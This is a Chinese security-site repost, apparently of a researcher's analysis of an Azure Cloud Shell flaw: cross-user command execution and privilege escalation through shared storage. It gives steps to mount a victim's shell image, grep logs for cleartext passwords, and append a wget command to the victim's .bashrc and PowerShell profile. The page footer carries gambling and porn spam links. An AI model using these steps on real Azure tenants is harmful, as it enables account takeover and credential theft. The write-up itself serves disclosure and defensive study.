歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

Azure Cloud Shell 跨用戶命令執行與提權漏洞分析

來源:本站整理 作者:佚名 時間:2020-01-19 TAG: 我要投稿

0x01  漏洞描述
默認情況下,Azure訂閱貢獻者可以訪問訂閱中的所有存儲帳戶。這些存儲帳戶包含帶有敏感信息的Azure Cloud Shell存儲文件(Linux主目錄)。通過修改這些Cloud Shell文件,攻擊者可以在其他用戶的Cloud Shell會話中執行命令。這可能導致跨帳戶命令執行和特權升級。
Azure的cloud-shell(http://azure.microsoft.com/en-us/features/cloud-shell/)可管理Azure的資源的簡便方法,但它也可以是一個滲透測試過程中的敏感數據和特權升級的一個潛在來源。Azure Cloud Shell允許用戶從“任何地方”管理Azure中的資源。這包括shell.azure.com,Azure  app和Microsoft Terminal應用程序。

為了無論何時何地登錄都保持一致的體驗,Cloud Shell服務將文件訂閱保留在Azure存儲帳戶中。Cloud Shell將配置選擇的存儲帳戶,并且實際文件將在該存儲帳戶的文件共享服務下。如果使用的是根據Cloud Shell默認值自動生成的存儲帳戶,則很可能在其前面加上cs。

有關Azure Cloud Shell如何持久保存文件的更多信息,請查閱此Microsoft文檔– http://docs.microsoft.com/zh-cn/azure/cloud-shell/persisting-shell-storage
0x02 處理Cloud Shell文件
假設已經破壞了一個具有讀取/寫入Cloud Shell文件共享權限的AzureAD帳戶。通常,這將是訂閱上的貢獻者帳戶,但是可能會遇到對存儲帳戶具有特定貢獻者權限的用戶。
重要說明:默認情況下,除非另有限制,否則所有訂閱貢獻者帳戶都將具有對所有訂閱存儲帳戶的讀/寫訪問權限。
有了此訪問權限,應該能夠下載Cloud Shell目錄中的所有可用文件,包括acc_ACCT.img文件。如果在同一存儲帳戶中有多個具有Cloud Shell實例的用戶,則該存儲帳戶中將有多個文件夾。作為攻擊者,選擇要攻擊的帳戶(john),然后下載該帳戶的IMG文件,該文件通常為5 GB。

IMG文件是EXT2文件系統,因此可以輕松地在Linux機器上掛載文件系統。安裝到Linux上,主要關注兩條路徑。
0x03  漏洞分析
如果將Cloud Shell用于任何實際工作(而不僅僅是偶然打開一次……),則操作該Shell的用戶有可能在其命令中犯了一些錯誤。如果使用任何Azure PowerShell cmdlet犯了這些錯誤,則生成的錯誤日志將最終存儲在IMG文件系統中的.Azure(請注意大寫A)文件夾中。
NewAzVM cmdlet在這里特別容易受到攻擊,因為它可能最終記錄新虛擬機的本地管理員帳戶的憑據。在這種情況下,嘗試創建一個名稱不兼容的虛擬機。就會導致記錄明文密碼。
 PS Azure:\> grep -b5 -a5 Password .Azure/ErrorRecords/New-AzVM_2019-10-18-T21-39-25-103.log
 103341-      }
 103349-    },
 103356-    "osProfile": {
 103375-      "computerName": "asdfghjkllkjhgfdasqweryuioasdgkjalsdfjksasdf",
 103445-      "adminUsername": "netspi",
 103478:      "adminPassword": "Cleartext?",
 103515-      "windowsConfiguration": {}
 103548-    },
 103555-    "networkProfile": {
 103579-      "networkInterfaces": [
 103608-        {
如果要解析Cloud Shell IMG文件,請確保查看.Azure / ErrorRecords文件中是否包含任何敏感信息,因為可能會發現有用的信息。
此外,任何命令歷史記錄文件都可能包含一些有趣的信息:
· .bash_history
· .local / share / powershell / PSReadLine / ConsoleHost_history.txt
0x04 跨帳戶命令執行
假設已經破壞了Azure訂閱中的“ Bob”帳戶。Bob是該訂閱的貢獻者,并與“ Alice”帳戶共享該訂閱。Alice是訂閱的所有者,還是Azure租戶的全局管理員。Alice是Cloud Shell的高級用戶,并且在Bob使用的訂閱上有一個實例。

由于Bob是訂閱中的貢獻者,因此他有權(默認情況下)下載任何Cloud Shell.IMG文件,包括Alice的acc_alice.img。下載后,Bob將IMG文件掛載到Linux系統中(掛載acc_alice.img / mnt /),并將要運行的任何命令附加到以下兩個文件:
· .bashrc
· /home/alice/.config/PowerShell/Microsoft.PowerShell_profile.ps1
將MicroBurst下載到Cloud Shell作為PoC:
http://github.com/NetSPI/MicroBurst
 $ echo 'wget http://github.com/NetSPI/MicroBurst/archive/master.zip' >> .bashrc
 $ echo 'wget http://github.com/NetSPI/MicroBurst/archive/master.zip' >> /home/alice/.config/PowerShell/Microsoft.PowerShell_profile.ps1
Bob添加攻擊命令后,他將卸載IMG文件,并將其上傳回Azure存儲帳戶。當你上傳文件時,請確保選中“如果文件已經存在,否則會覆蓋”文本框。

[1] [2]  下一頁

【聲明】:黑吧安全網(http://www.zjtpzs.live)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        神秘东方电子游艺 排列5开奖走势图 闲来麻将app下载安装 太湖3d字谜图谜正 日本av种子ed2k nba赛程季后赛 微信麻将好友房四个人 省快乐十分 15选5开奖结果 打字赚钱网站 秒速赛车开奖 河北11选5 安卓 急速赛车 25选5开奖结果 陕西丫丫麻将亮六飞一 上海时时彩哪里买的 pk10开奖视频